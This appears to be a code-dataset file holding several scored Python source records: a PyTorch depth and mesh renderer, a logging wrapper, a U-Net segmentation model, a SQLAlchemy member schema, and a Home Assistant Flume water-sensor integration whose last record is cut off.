self.background_color = [0, 0, 0]
self.fill_back = False
self.dist_coeffs = torch.cuda.FloatTensor([[0., 0., 0., 0., 0.]])
# light
self.light_intensity_ambient = 0.5
self.light_intensity_directional = 0.5
self.light_color_ambient = [1, 1, 1]
self.light_color_directional = [1, 1, 1]
self.light_direction = [0, 1, 0]
# rasterization
self.rasterizer_eps = 1e-3
def project_cam_to_depthmap(self, verts_3d, intrinsics, orig_size, eps=1e-7):
'''Convert verts from 3D-pointcloud-format to 2.5D-depthmap-format (projection) range=[0,1]
Args:
verts: [B,N,3] (3D pointcloud format)
intrinsics: [B,3,3]
orig_size: (height, width)
'''
x, y, z = verts_3d[:, :, 0], verts_3d[:, :, 1], verts_3d[:, :, 2]
x_ = x / (z + eps)
y_ = y / (z + eps)
verts_depth = torch.stack([x_, y_, torch.ones_like(z)], dim=-1)
verts_depth = torch.matmul(verts_depth, intrinsics.transpose(1, 2))
u, v = verts_depth[:, :, 0], verts_depth[:, :, 1]
# map u,v from [0, img_size] to [0, 1] to use by the renderer
u = (u / orig_size[1]).clamp(min=0, max=1)
v = (v / orig_size[0]).clamp(min=0, max=1)
vertices = torch.stack([u, v, z], dim=-1)
return vertices
def convert_depthmap_to_cam(self, verts_3d, intrinsics, orig_size):
"""Converts from depthmap-format to 3D-pointcloud-format (camera coords)
Args:
verts_3d: [B,N,3] (3D pointcloud format)
intrinsics: [B,3,3]
orig_size: (height, width)
"""
# Change scale [0,1] -> [0, img_size]
verts_depth = verts_3d[:, :, 2:].transpose(2, 1) # [B,1,N]
verts_3d_cam = torch.cat((verts_3d[:, :, :1] * orig_size[1],
verts_3d[:, :, 1:2] * orig_size[0],
torch.ones_like(verts_3d[:, :, 2:])), 2)
verts_3d_cam = verts_3d_cam.transpose(2, 1) # [B,3,N]
# Conver to camera coords
verts_3d_cam = (intrinsics.inverse() @ verts_3d_cam) * verts_depth # [B,3,N]
return verts_3d_cam.transpose(2, 1)
def _transform_depthmap(self, verts_3d, intrinsics, R_mat, t_mat, orig_size):
"""Reproject depthmap format verts basd on the Camera transform matrix (R/t)
Args:
verts: [B,N,3] (depthmap format range=[0,1])
intrinsics: [B,3,3]
R_mat: [B,3,3]
t_mat: [B,3,1]
orig_size: (height, width)
Note:
Currently image -> texture converting is not implemented yet.
So, when you render rgb img (for 2-view-sfm), it would be better to use torch.grid_sample().
(Recommended for depthmap/silhouette rendering)
"""
# Convert from depthmap to camera coords
verts_3d_cam = self.convert_depthmap_to_cam(verts_3d, intrinsics, orig_size)
verts_3d_cam = verts_3d_cam.transpose(2, 1) # [B,3,N]
# Camera transform (R_mat & t_mat)
pose_mat = torch.cat([R_mat, t_mat], dim=2) # [B,3,4]
verts_3d_ones = torch.ones_like(verts_3d_cam[:, :1, :]) # [B,1,N]
verts_3d_cam_hom = torch.cat((verts_3d_cam, verts_3d_ones), 1) # [B,4,N]
verts_3d_cam2 = (pose_mat @ verts_3d_cam_hom).transpose(2, 1) # [B,N,3]
# Project into pixel-coords as depthmap format
verts_3d_depth2 = self.project_cam_to_depthmap(verts_3d_cam2, intrinsics, orig_size)
return verts_3d_depth2
def forward(self, verts, faces, textures=None, intrinsics=None, R_mat=None, t_mat=None,
mode=["rgb", "depth", "silhouette"], render_size=None):
"""Implementation of forward rendering methods.
You should specify the rendering mode from [scene, silhouette, depth, face_index].
"""
# Check batchsize
assert verts.shape[0] == faces.shape[0], \
"batchsize is not same between verts and faces"
if "face_index" in mode:
assert (intrinsics is None) and (R_mat is None) and (t_mat is None), \
"K/R/t is not necessary in face_index-rendering-mode"
return self._render_face_index_map(verts, faces, render_size)
elif ("rgb" in mode) or ("depth" in mode) or ("silhouette" in mode):
return self._render(verts, faces, textures, render_size, mode,
intrinsics=intrinsics, R_mat=R_mat, t_mat=t_mat)
else:
raise ValueError(
"Choose mode from [None, 'silhouettes', 'depth', 'face_index']")
def _render(self, verts, faces, textures=None, render_size=None, mode=["rgb", "depth", "silhouette"],
intrinsics=None, R_mat=None, t_mat=None):
"""Rendering depth images from 3d mesh (which is depthmap format)
Args:
verts: [B,N,3(uvd)] (depthmap format) You need to concat verts_depths with verts_2d. range should be [0,1]
faces: [B,M,3] (index pairs of face)
textures:
render_size: Specify the output size in the form of tuple (height, width)
mode (str): Choose from ['rgb','depth','silhouette']
intrinsics: [B,3,3]
R_mat: [B,3,3]
t_mat: [B,3,1]
Returns:
rendered_depths : [B,1,H,W]
"""
assert verts.shape[2] == 3, "This function can deal with only 3d mesh.(depthmap format)"
# Fill back
if self.fill_back:
faces = torch.cat(
(faces, faces[:, :, list(reversed(range(faces.shape[-1])))]), dim=1).detach()
if render_size is None:
render_size = self.render_size
# Prepare elements
img_max_size = max(render_size)
height, width = render_size
# If intrinsics/R_mat/t_mat are specified, reproject vertices on the other viewpoint.
if (intrinsics is not None) and (R_mat is not None) and (t_mat is not None):
verts = self._transform_depthmap(verts, intrinsics, R_mat, t_mat, render_size)
# Resize verts [0,1] -> [-1,1] (You need to pay attention to scale!)
verts = torch.cat(((verts[:, :, :1] * width / img_max_size) * 2.0 - 1.0,
(verts[:, :, 1:2] * height / img_max_size) * 2.0 - 1.0,
verts[:, :, 2:]), 2)
faces = vertices_to_faces(verts, faces)
# Rasterization
render_dic = rasterize_image(faces, textures, img_max_size, self.anti_aliasing, mode=mode)
# Final adjustment
if "rgb" in mode:
render_rgbs = flip(render_dic["rgb"], 2)[:, :, :height, :width]
render_dic["rgb"] = render_rgbs.contiguous()
if "depth" in mode:
render_depths = flip(render_dic["depth"], 1)[:, :height, :width].unsqueeze(1)
render_dic["depth"] = render_depths.contiguous()
if "silhouette" in mode:
render_silhouettes = flip(render_dic["silhouette"], 1)[:, :height, :width].unsqueeze(1)
render_dic["silhouette"] = render_silhouettes.contiguous()
return render_dic
def _render_face_index_map(self, verts, faces, render_size=None):
"""Rendering face_index_map from 2d mesh for creating face silhouettes.
Args:
verts: [B,N,2(uv)] 2D mesh extracted from scene image.
faces: [B,M,3] (index pairs of face)
render_size: Specify the output size in the form of tuple (height, width)
Returns:
face_index_map: [B,H,W] (pixel value means face idx in [1,M_max])
"""
# Fill back
if self.fill_back:
faces = torch.cat(
(faces, faces[:, :, list(reversed(range(faces.shape[-1])))]), dim=1).detach()
if render_size is None:
render_size = self.render_size
# Add z-axis to verts ([B,N_max,2]->[B,N_max,3])
if verts.shape[2] == 2:
z_verts = torch.ones_like(verts[:, :, :1])
verts = torch.cat((verts, z_verts), 2) # [B,N_max,3]
# Prepare elements for rasterization
batch_size = faces.shape[0]
img_max_size = max(render_size)
height, width = render_size
# Resize verts [0,1] -> [-1,1] (You need to pay attention to scale!)
verts = torch.cat(((verts[:, :, :1] * width / img_max_size) * 2.0 - 1.0,
(verts[:, :, 1:2] * height / img_max_size) * 2.0 - 1.0,
verts[:, :, 2:]), 2)
faces = vertices_to_faces(verts, faces)
# Prepare other elements
face_index_map = torch.cuda.IntTensor(batch_size, img_max_size, img_max_size).fill_(-1)
weight_map = torch.cuda.FloatTensor(batch_size, img_max_size, img_max_size, 3).fill_(0.0)
depth_map = torch.cuda.FloatTensor(batch_size, img_max_size, img_max_size).fill_(100.0) # self.far
face_inv_map = torch.cuda.FloatTensor(1).fill_(0)
faces_inv = torch.zeros_like(faces)
# Face index rasterization
face_index_map, _, _, _ = rasterize_cuda.forward_face_index_map(faces, face_index_map, weight_map,
depth_map, face_inv_map, faces_inv,
img_max_size, False, False, False)
# Change pixel value in background area (-1 -> 0)
face_index_map = face_index_map + 1
return face_index_map[:, :height, :width].contiguous() | tridepth/renderer/renderer.py | import torch
import torch.nn as nn
import tridepth_renderer.cuda.rasterize as rasterize_cuda
from . import vertices_to_faces, rasterize_image
def flip(x, dim):
"""
Flip tensor in specified dimension.
"""
indices = [slice(None)] * x.dim()
indices[dim] = torch.arange(x.size(dim) - 1, -1, -1,
dtype=torch.long).cuda()
return x[tuple(indices)]
class Renderer(nn.Module):
def __init__(self, render_size=(228, 304)):
super(Renderer, self).__init__()
# Rendering size (output size)
self.render_size = render_size
# Other parameters
self.anti_aliasing = True
self.background_color = [0, 0, 0]
self.fill_back = False
self.dist_coeffs = torch.cuda.FloatTensor([[0., 0., 0., 0., 0.]])
# light
self.light_intensity_ambient = 0.5
self.light_intensity_directional = 0.5
self.light_color_ambient = [1, 1, 1]
self.light_color_directional = [1, 1, 1]
self.light_direction = [0, 1, 0]
# rasterization
self.rasterizer_eps = 1e-3
def project_cam_to_depthmap(self, verts_3d, intrinsics, orig_size, eps=1e-7):
'''Convert verts from 3D-pointcloud-format to 2.5D-depthmap-format (projection) range=[0,1]
Args:
verts: [B,N,3] (3D pointcloud format)
intrinsics: [B,3,3]
orig_size: (height, width)
'''
x, y, z = verts_3d[:, :, 0], verts_3d[:, :, 1], verts_3d[:, :, 2]
x_ = x / (z + eps)
y_ = y / (z + eps)
verts_depth = torch.stack([x_, y_, torch.ones_like(z)], dim=-1)
verts_depth = torch.matmul(verts_depth, intrinsics.transpose(1, 2))
u, v = verts_depth[:, :, 0], verts_depth[:, :, 1]
# map u,v from [0, img_size] to [0, 1] to use by the renderer
u = (u / orig_size[1]).clamp(min=0, max=1)
v = (v / orig_size[0]).clamp(min=0, max=1)
vertices = torch.stack([u, v, z], dim=-1)
return vertices
def convert_depthmap_to_cam(self, verts_3d, intrinsics, orig_size):
"""Converts from depthmap-format to 3D-pointcloud-format (camera coords)
Args:
verts_3d: [B,N,3] (3D pointcloud format)
intrinsics: [B,3,3]
orig_size: (height, width)
"""
# Change scale [0,1] -> [0, img_size]
verts_depth = verts_3d[:, :, 2:].transpose(2, 1) # [B,1,N]
verts_3d_cam = torch.cat((verts_3d[:, :, :1] * orig_size[1],
verts_3d[:, :, 1:2] * orig_size[0],
torch.ones_like(verts_3d[:, :, 2:])), 2)
verts_3d_cam = verts_3d_cam.transpose(2, 1) # [B,3,N]
# Conver to camera coords
verts_3d_cam = (intrinsics.inverse() @ verts_3d_cam) * verts_depth # [B,3,N]
return verts_3d_cam.transpose(2, 1)
def _transform_depthmap(self, verts_3d, intrinsics, R_mat, t_mat, orig_size):
"""Reproject depthmap format verts basd on the Camera transform matrix (R/t)
Args:
verts: [B,N,3] (depthmap format range=[0,1])
intrinsics: [B,3,3]
R_mat: [B,3,3]
t_mat: [B,3,1]
orig_size: (height, width)
Note:
Currently image -> texture converting is not implemented yet.
So, when you render rgb img (for 2-view-sfm), it would be better to use torch.grid_sample().
(Recommended for depthmap/silhouette rendering)
"""
# Convert from depthmap to camera coords
verts_3d_cam = self.convert_depthmap_to_cam(verts_3d, intrinsics, orig_size)
verts_3d_cam = verts_3d_cam.transpose(2, 1) # [B,3,N]
# Camera transform (R_mat & t_mat)
pose_mat = torch.cat([R_mat, t_mat], dim=2) # [B,3,4]
verts_3d_ones = torch.ones_like(verts_3d_cam[:, :1, :]) # [B,1,N]
verts_3d_cam_hom = torch.cat((verts_3d_cam, verts_3d_ones), 1) # [B,4,N]
verts_3d_cam2 = (pose_mat @ verts_3d_cam_hom).transpose(2, 1) # [B,N,3]
# Project into pixel-coords as depthmap format
verts_3d_depth2 = self.project_cam_to_depthmap(verts_3d_cam2, intrinsics, orig_size)
return verts_3d_depth2
def forward(self, verts, faces, textures=None, intrinsics=None, R_mat=None, t_mat=None,
mode=["rgb", "depth", "silhouette"], render_size=None):
"""Implementation of forward rendering methods.
You should specify the rendering mode from [scene, silhouette, depth, face_index].
"""
# Check batchsize
assert verts.shape[0] == faces.shape[0], \
"batchsize is not same between verts and faces"
if "face_index" in mode:
assert (intrinsics is None) and (R_mat is None) and (t_mat is None), \
"K/R/t is not necessary in face_index-rendering-mode"
return self._render_face_index_map(verts, faces, render_size)
elif ("rgb" in mode) or ("depth" in mode) or ("silhouette" in mode):
return self._render(verts, faces, textures, render_size, mode,
intrinsics=intrinsics, R_mat=R_mat, t_mat=t_mat)
else:
raise ValueError(
"Choose mode from [None, 'silhouettes', 'depth', 'face_index']")
def _render(self, verts, faces, textures=None, render_size=None, mode=["rgb", "depth", "silhouette"],
intrinsics=None, R_mat=None, t_mat=None):
"""Rendering depth images from 3d mesh (which is depthmap format)
Args:
verts: [B,N,3(uvd)] (depthmap format) You need to concat verts_depths with verts_2d. range should be [0,1]
faces: [B,M,3] (index pairs of face)
textures:
render_size: Specify the output size in the form of tuple (height, width)
mode (str): Choose from ['rgb','depth','silhouette']
intrinsics: [B,3,3]
R_mat: [B,3,3]
t_mat: [B,3,1]
Returns:
rendered_depths : [B,1,H,W]
"""
assert verts.shape[2] == 3, "This function can deal with only 3d mesh.(depthmap format)"
# Fill back
if self.fill_back:
faces = torch.cat(
(faces, faces[:, :, list(reversed(range(faces.shape[-1])))]), dim=1).detach()
if render_size is None:
render_size = self.render_size
# Prepare elements
img_max_size = max(render_size)
height, width = render_size
# If intrinsics/R_mat/t_mat are specified, reproject vertices on the other viewpoint.
if (intrinsics is not None) and (R_mat is not None) and (t_mat is not None):
verts = self._transform_depthmap(verts, intrinsics, R_mat, t_mat, render_size)
# Resize verts [0,1] -> [-1,1] (You need to pay attention to scale!)
verts = torch.cat(((verts[:, :, :1] * width / img_max_size) * 2.0 - 1.0,
(verts[:, :, 1:2] * height / img_max_size) * 2.0 - 1.0,
verts[:, :, 2:]), 2)
faces = vertices_to_faces(verts, faces)
# Rasterization
render_dic = rasterize_image(faces, textures, img_max_size, self.anti_aliasing, mode=mode)
# Final adjustment
if "rgb" in mode:
render_rgbs = flip(render_dic["rgb"], 2)[:, :, :height, :width]
render_dic["rgb"] = render_rgbs.contiguous()
if "depth" in mode:
render_depths = flip(render_dic["depth"], 1)[:, :height, :width].unsqueeze(1)
render_dic["depth"] = render_depths.contiguous()
if "silhouette" in mode:
render_silhouettes = flip(render_dic["silhouette"], 1)[:, :height, :width].unsqueeze(1)
render_dic["silhouette"] = render_silhouettes.contiguous()
return render_dic
def _render_face_index_map(self, verts, faces, render_size=None):
"""Rendering face_index_map from 2d mesh for creating face silhouettes.
Args:
verts: [B,N,2(uv)] 2D mesh extracted from scene image.
faces: [B,M,3] (index pairs of face)
render_size: Specify the output size in the form of tuple (height, width)
Returns:
face_index_map: [B,H,W] (pixel value means face idx in [1,M_max])
"""
# Fill back
if self.fill_back:
faces = torch.cat(
(faces, faces[:, :, list(reversed(range(faces.shape[-1])))]), dim=1).detach()
if render_size is None:
render_size = self.render_size
# Add z-axis to verts ([B,N_max,2]->[B,N_max,3])
if verts.shape[2] == 2:
z_verts = torch.ones_like(verts[:, :, :1])
verts = torch.cat((verts, z_verts), 2) # [B,N_max,3]
# Prepare elements for rasterization
batch_size = faces.shape[0]
img_max_size = max(render_size)
height, width = render_size
# Resize verts [0,1] -> [-1,1] (You need to pay attention to scale!)
verts = torch.cat(((verts[:, :, :1] * width / img_max_size) * 2.0 - 1.0,
(verts[:, :, 1:2] * height / img_max_size) * 2.0 - 1.0,
verts[:, :, 2:]), 2)
faces = vertices_to_faces(verts, faces)
# Prepare other elements
face_index_map = torch.cuda.IntTensor(batch_size, img_max_size, img_max_size).fill_(-1)
weight_map = torch.cuda.FloatTensor(batch_size, img_max_size, img_max_size, 3).fill_(0.0)
depth_map = torch.cuda.FloatTensor(batch_size, img_max_size, img_max_size).fill_(100.0) # self.far
face_inv_map = torch.cuda.FloatTensor(1).fill_(0)
faces_inv = torch.zeros_like(faces)
# Face index rasterization
face_index_map, _, _, _ = rasterize_cuda.forward_face_index_map(faces, face_index_map, weight_map,
depth_map, face_inv_map, faces_inv,
img_max_size, False, False, False)
# Change pixel value in background area (-1 -> 0)
face_index_map = face_index_map + 1
return face_index_map[:, :height, :width].contiguous() | 0.942055 | 0.611411 |
import os
import logging
class Yalow:
"""Yet Another LOgging Wrapper
Wraps Python's logging module functionality for the
generic use case of generating and writing to a shared project
log file in the 'root_path/log' directory.
Parameters
----------
root_path : pathlib.Path
Root path of project.
project_name : str
Name of project (The default is 'yalow', I know, very imaginative).
log_dir_name : str
Name of the log directory created in project root (The default is 'log', because as we've already established
my imagination is a veritable cornucopia of originality).
level : logging.Logger.level
Default logging level for events added to log (The default is logging.DEBUG).
file_write_mode : str
Mode for writing log file, 'w' for overwrite, 'a' for append (The default behavior is 'w' for overwrite).
Attributes
----------
log_filepath : pathlib.Path
Path for generated log file for project.
logger : logging.Logger
Project shared logger object.
handler : logging.FileHandler
Responsible for writing the project log to file.
formatter : logging.Formatter
Responsible for formatting project log file output.
"""
def __init__(self, root_path, project_name='yalow', log_dir_name='log', level=logging.DEBUG, file_write_mode='w'):
if not os.path.exists(root_path / log_dir_name):
os.makedirs(root_path / log_dir_name)
self.log_filepath = root_path/f'log/{project_name}.log'
self.logger = logging.getLogger(project_name)
self.handler = logging.FileHandler(root_path/self.log_filepath, mode=file_write_mode)
self.formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s: %(message)s')
self.handler.setFormatter(self.formatter)
self.logger.addHandler(self.handler)
self.logger.setLevel(level)
self.logger.info(f'Logging initialized for project: {project_name}') | yalow/__init__.py | import os
import logging
class Yalow:
"""Yet Another LOgging Wrapper
Wraps Python's logging module functionality for the
generic use case of generating and writing to a shared project
log file in the 'root_path/log' directory.
Parameters
----------
root_path : pathlib.Path
Root path of project.
project_name : str
Name of project (The default is 'yalow', I know, very imaginative).
log_dir_name : str
Name of the log directory created in project root (The default is 'log', because as we've already established
my imagination is a veritable cornucopia of originality).
level : logging.Logger.level
Default logging level for events added to log (The default is logging.DEBUG).
file_write_mode : str
Mode for writing log file, 'w' for overwrite, 'a' for append (The default behavior is 'w' for overwrite).
Attributes
----------
log_filepath : pathlib.Path
Path for generated log file for project.
logger : logging.Logger
Project shared logger object.
handler : logging.FileHandler
Responsible for writing the project log to file.
formatter : logging.Formatter
Responsible for formatting project log file output.
"""
def __init__(self, root_path, project_name='yalow', log_dir_name='log', level=logging.DEBUG, file_write_mode='w'):
if not os.path.exists(root_path / log_dir_name):
os.makedirs(root_path / log_dir_name)
self.log_filepath = root_path/f'log/{project_name}.log'
self.logger = logging.getLogger(project_name)
self.handler = logging.FileHandler(root_path/self.log_filepath, mode=file_write_mode)
self.formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s: %(message)s')
self.handler.setFormatter(self.formatter)
self.logger.addHandler(self.handler)
self.logger.setLevel(level)
self.logger.info(f'Logging initialized for project: {project_name}') | 0.633637 | 0.227394 |
import torch
from torch import nn
import torch.nn.functional as F
from segment.api import Model
class DoubleBlock(nn.Module):
'''(conv => BN => ReLU) * 2'''
def __init__(self, in_ch, out_ch):
super(DoubleBlock, self).__init__()
self.conv = nn.Sequential(
nn.Conv2d(in_ch, out_ch, 3, padding=1),
nn.BatchNorm2d(out_ch),
nn.ReLU(inplace=True),
nn.Conv2d(out_ch, out_ch, 3, padding=1),
nn.BatchNorm2d(out_ch),
nn.ReLU(inplace=True)
)
def forward(self, x):
return self.conv(x)
class InConv(nn.Module):
def __init__(self, in_ch, out_ch):
super(InConv, self).__init__()
self.conv = DoubleBlock(in_ch, out_ch)
def forward(self, x):
return self.conv(x)
class Down(nn.Module):
def __init__(self, in_ch, out_ch):
super(Down, self).__init__()
self.pool = nn.MaxPool2d(2)
self.block = DoubleBlock(in_ch, out_ch)
def forward(self, x):
x = self.block(x)
x = self.pool(x)
return x
class Up(nn.Module):
def __init__(self, in_ch, out_ch):
super(Up, self).__init__()
#self.unpool = nn.MaxUnpool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.block = DoubleBlock(in_ch, out_ch)
def forward(self, x):
#x = self.unpool(x, indices, output_shape)
x = self.upsample(x)
x = self.block(x)
return x
class OutConv(nn.Module):
def __init__(self, in_ch, out_ch):
super(OutConv, self).__init__()
self.conv = nn.Conv2d(in_ch, out_ch, 1)
def forward(self, x):
return self.conv(x)
class UNet2D(Model):
def __init__(self, n_channels, n_classes):
super(UNet2D, self).__init__()
self.inconv = InConv(n_channels, 64)
self.down1 = Down(64, 128)
self.down2 = Down(128, 256)
self.down3 = Down(256, 512)
self.down4 = Down(512, 1024)
self.up1 = Up(1024, 512)
self.up2 = Up(1024, 256)
self.up3 = Up(512, 128)
self.up4 = Up(256, 64)
self.outconv = OutConv(64, n_classes)
def concat_channels(self, x_cur, x_prev):
return torch.cat([x_cur, x_prev], dim=1)
def forward(self, x):
x = self.inconv(x)
x2 = self.down1(x)
x3 = self.down2(x2)
x4 = self.down3(x3)
x = self.down4(x4)
x = self.up1(x)
x = self.concat_channels(x, x4)
x = self.up2(x)
x = self.concat_channels(x, x3)
x = self.up3(x)
x = self.concat_channels(x, x2)
x = self.up4(x)
x = self.outconv(x)
x = torch.sigmoid(x)
return x | segment/ml/models/two_dimensional/unet.py | import torch
from torch import nn
import torch.nn.functional as F
from segment.api import Model
class DoubleBlock(nn.Module):
'''(conv => BN => ReLU) * 2'''
def __init__(self, in_ch, out_ch):
super(DoubleBlock, self).__init__()
self.conv = nn.Sequential(
nn.Conv2d(in_ch, out_ch, 3, padding=1),
nn.BatchNorm2d(out_ch),
nn.ReLU(inplace=True),
nn.Conv2d(out_ch, out_ch, 3, padding=1),
nn.BatchNorm2d(out_ch),
nn.ReLU(inplace=True)
)
def forward(self, x):
return self.conv(x)
class InConv(nn.Module):
def __init__(self, in_ch, out_ch):
super(InConv, self).__init__()
self.conv = DoubleBlock(in_ch, out_ch)
def forward(self, x):
return self.conv(x)
class Down(nn.Module):
def __init__(self, in_ch, out_ch):
super(Down, self).__init__()
self.pool = nn.MaxPool2d(2)
self.block = DoubleBlock(in_ch, out_ch)
def forward(self, x):
x = self.block(x)
x = self.pool(x)
return x
class Up(nn.Module):
def __init__(self, in_ch, out_ch):
super(Up, self).__init__()
#self.unpool = nn.MaxUnpool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.block = DoubleBlock(in_ch, out_ch)
def forward(self, x):
#x = self.unpool(x, indices, output_shape)
x = self.upsample(x)
x = self.block(x)
return x
class OutConv(nn.Module):
def __init__(self, in_ch, out_ch):
super(OutConv, self).__init__()
self.conv = nn.Conv2d(in_ch, out_ch, 1)
def forward(self, x):
return self.conv(x)
class UNet2D(Model):
def __init__(self, n_channels, n_classes):
super(UNet2D, self).__init__()
self.inconv = InConv(n_channels, 64)
self.down1 = Down(64, 128)
self.down2 = Down(128, 256)
self.down3 = Down(256, 512)
self.down4 = Down(512, 1024)
self.up1 = Up(1024, 512)
self.up2 = Up(1024, 256)
self.up3 = Up(512, 128)
self.up4 = Up(256, 64)
self.outconv = OutConv(64, n_classes)
def concat_channels(self, x_cur, x_prev):
return torch.cat([x_cur, x_prev], dim=1)
def forward(self, x):
x = self.inconv(x)
x2 = self.down1(x)
x3 = self.down2(x2)
x4 = self.down3(x3)
x = self.down4(x4)
x = self.up1(x)
x = self.concat_channels(x, x4)
x = self.up2(x)
x = self.concat_channels(x, x3)
x = self.up3(x)
x = self.concat_channels(x, x2)
x = self.up4(x)
x = self.outconv(x)
x = torch.sigmoid(x)
return x | 0.954563 | 0.540075 |
from sqlalchemy import Column, Integer, String, Numeric, Text, Boolean, DateTime
from sqlalchemy.orm import relationship
from database import Base
import datetime
class Member(Base):
"""
# general
id :pk
nick_name: (str)short name
full_name: (str)complete name
cur_status: (str)
bio: (text)
join_date: (datetime) timestamp cur
# contact
cur_loc: (str) current location
twitter_handle: (str)
linkedin_url: (str)
whatsapp_num: (str)
#tech/tools details
prog_langs = {text} coma separated
adv_tech = {text} coma separated tech
med_tech = {text} coma separated tech
adv_tech = {text} coma separated tech
# secret key - for removing user-self
secret = {String} case-space-sensitive
"""
__tablename__ = "Member"
# personal
id = Column(Integer, primary_key=True, index=True)
nick_name = Column(String)
full_name = Column(String, index=True, nullable=False)
cur_city = Column(String)
cur_status = Column(String)
bio = Column(Text)
communities = Column(Text) # coma sep
join_date = Column(DateTime, default=datetime.datetime.utcnow)
# social
twitter_url = Column(String)
linkedin_url = Column(String)
whatsapp_num = Column(String)
github_url = Column(String)
email = Column(String, nullable=False, index=True, unique=True)
# skills
dom_1 = Column(String)
dom_2 = Column(String)
dom_3 = Column(String)
dom_4 = Column(String)
dom_5 = Column(String)
dom_6 = Column(String)
dom_7 = Column(String)
dom_8 = Column(String)
dom_1skill = Column(String)
dom_1interest = Column(String)
dom_2skill = Column(String)
dom_2interest = Column(String)
dom_3skill = Column(String)
dom_3interest = Column(String)
dom_4skill = Column(String)
dom_4interest = Column(String)
dom_5skill = Column(String)
dom_5interest = Column(String)
dom_6skill = Column(String)
dom_6interest = Column(String)
dom_7skill = Column(String)
dom_7interest = Column(String)
dom_8skill = Column(String)
dom_8interest = Column(String)
secret_key = Column(String, index=True, nullable=False) | models.py | from sqlalchemy import Column, Integer, String, Numeric, Text, Boolean, DateTime
from sqlalchemy.orm import relationship
from database import Base
import datetime
class Member(Base):
"""
# general
id :pk
nick_name: (str)short name
full_name: (str)complete name
cur_status: (str)
bio: (text)
join_date: (datetime) timestamp cur
# contact
cur_loc: (str) current location
twitter_handle: (str)
linkedin_url: (str)
whatsapp_num: (str)
#tech/tools details
prog_langs = {text} coma separated
adv_tech = {text} coma separated tech
med_tech = {text} coma separated tech
adv_tech = {text} coma separated tech
# secret key - for removing user-self
secret = {String} case-space-sensitive
"""
__tablename__ = "Member"
# personal
id = Column(Integer, primary_key=True, index=True)
nick_name = Column(String)
full_name = Column(String, index=True, nullable=False)
cur_city = Column(String)
cur_status = Column(String)
bio = Column(Text)
communities = Column(Text) # coma sep
join_date = Column(DateTime, default=datetime.datetime.utcnow)
# social
twitter_url = Column(String)
linkedin_url = Column(String)
whatsapp_num = Column(String)
github_url = Column(String)
email = Column(String, nullable=False, index=True, unique=True)
# skills
dom_1 = Column(String)
dom_2 = Column(String)
dom_3 = Column(String)
dom_4 = Column(String)
dom_5 = Column(String)
dom_6 = Column(String)
dom_7 = Column(String)
dom_8 = Column(String)
dom_1skill = Column(String)
dom_1interest = Column(String)
dom_2skill = Column(String)
dom_2interest = Column(String)
dom_3skill = Column(String)
dom_3interest = Column(String)
dom_4skill = Column(String)
dom_4interest = Column(String)
dom_5skill = Column(String)
dom_5interest = Column(String)
dom_6skill = Column(String)
dom_6interest = Column(String)
dom_7skill = Column(String)
dom_7interest = Column(String)
dom_8skill = Column(String)
dom_8interest = Column(String)
secret_key = Column(String, index=True, nullable=False) | 0.319652 | 0.097907 |
from datetime import timedelta
import logging
from pyflume import FlumeData, FlumeDeviceList
import voluptuous as vol
from homeassistant.components.sensor import PLATFORM_SCHEMA
from homeassistant.const import CONF_NAME, CONF_PASSWORD, CONF_USERNAME
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers.entity import Entity
LOGGER = logging.getLogger(__name__)
DEFAULT_NAME = "Flume Sensor"
CONF_CLIENT_ID = "client_id"
CONF_CLIENT_SECRET = "client_secret"
FLUME_TYPE_SENSOR = 2
SCAN_INTERVAL = timedelta(minutes=1)
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(
{
vol.Required(CONF_USERNAME): cv.string,
vol.Required(CONF_PASSWORD): cv.string,
vol.Required(CONF_CLIENT_ID): cv.string,
vol.Required(CONF_CLIENT_SECRET): cv.string,
vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
}
)
def setup_platform(hass, config, add_entities, discovery_info=None):
"""Set up the Flume sensor."""
username = config[CONF_USERNAME]
password = config[CONF_PASSWORD]
client_id = config[CONF_CLIENT_ID]
client_secret = config[CONF_CLIENT_SECRET]
flume_token_file = hass.config.path("FLUME_TOKEN_FILE")
time_zone = str(hass.config.time_zone)
name = config[CONF_NAME]
flume_entity_list = []
flume_devices = FlumeDeviceList(
username, password, client_id, client_secret, flume_token_file
)
for device in flume_devices.device_list:
if device["type"] == FLUME_TYPE_SENSOR:
flume = FlumeData(
username,
password,
client_id,
client_secret,
device["id"],
time_zone,
SCAN_INTERVAL,
flume_token_file,
)
flume_entity_list.append(FlumeSensor(flume, f"{name} {device['id']}"))
if flume_entity_list:
add_entities(flume_entity_list, True)
class FlumeSensor(Entity):
"""Representation of the Flume sensor."""
def __init__(self, flume, name):
"""Initialize the Flume sensor."""
self.flume = flume
self._name = name
self._state = None
@property
def name(self):
"""Return the name of the sensor."""
return self._name
@property
def state(self):
"""Return the state of the sensor."""
return self._state
@property
def unit_of_measurement(self):
"""Return the unit the value is expressed in."""
return "gal"
def update(self):
"""Get the latest data and updates the states."""
self.flume.update()
self._state = self.flume.value | homeassistant/components/flume/sensor.py | from datetime import timedelta
import logging
from pyflume import FlumeData, FlumeDeviceList
import voluptuous as vol
from homeassistant.components.sensor import PLATFORM_SCHEMA
from homeassistant.const import CONF_NAME, CONF_PASSWORD, CONF_USERNAME
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers.entity import Entity
LOGGER = logging.getLogger(__name__)
DEFAULT_NAME = "Flume Sensor"
CONF_CLIENT_ID = "client_id"
CONF_CLIENT_SECRET = "client_secret"
FLUME_TYPE_SENSOR = 2
SCAN_INTERVAL = timedelta(minutes=1)
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(
{
vol.Required(CONF_USERNAME): cv.string,
vol.Required(CONF_PASSWORD): cv.string,
vol.Required(CONF_CLIENT_ID): cv.string,
vol.Required(CONF_CLIENT_SECRET): cv.string,
vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
}
)
def setup_platform(hass, config, add_entities, discovery_info=None):
"""Set up the Flume sensor."""
username = config[CONF_USERNAME]
password = config[CONF_PASSWORD]
client_id = config[CONF_CLIENT_ID]
client_secret = config[CONF_CLIENT_SECRET]
flume_token_file = hass.config.path("FLUME_TOKEN_FILE")
time_zone = str(hass.config.time_zone)
name = config[CONF_NAME]
flume_entity_list = []
flume_devices = FlumeDeviceList(
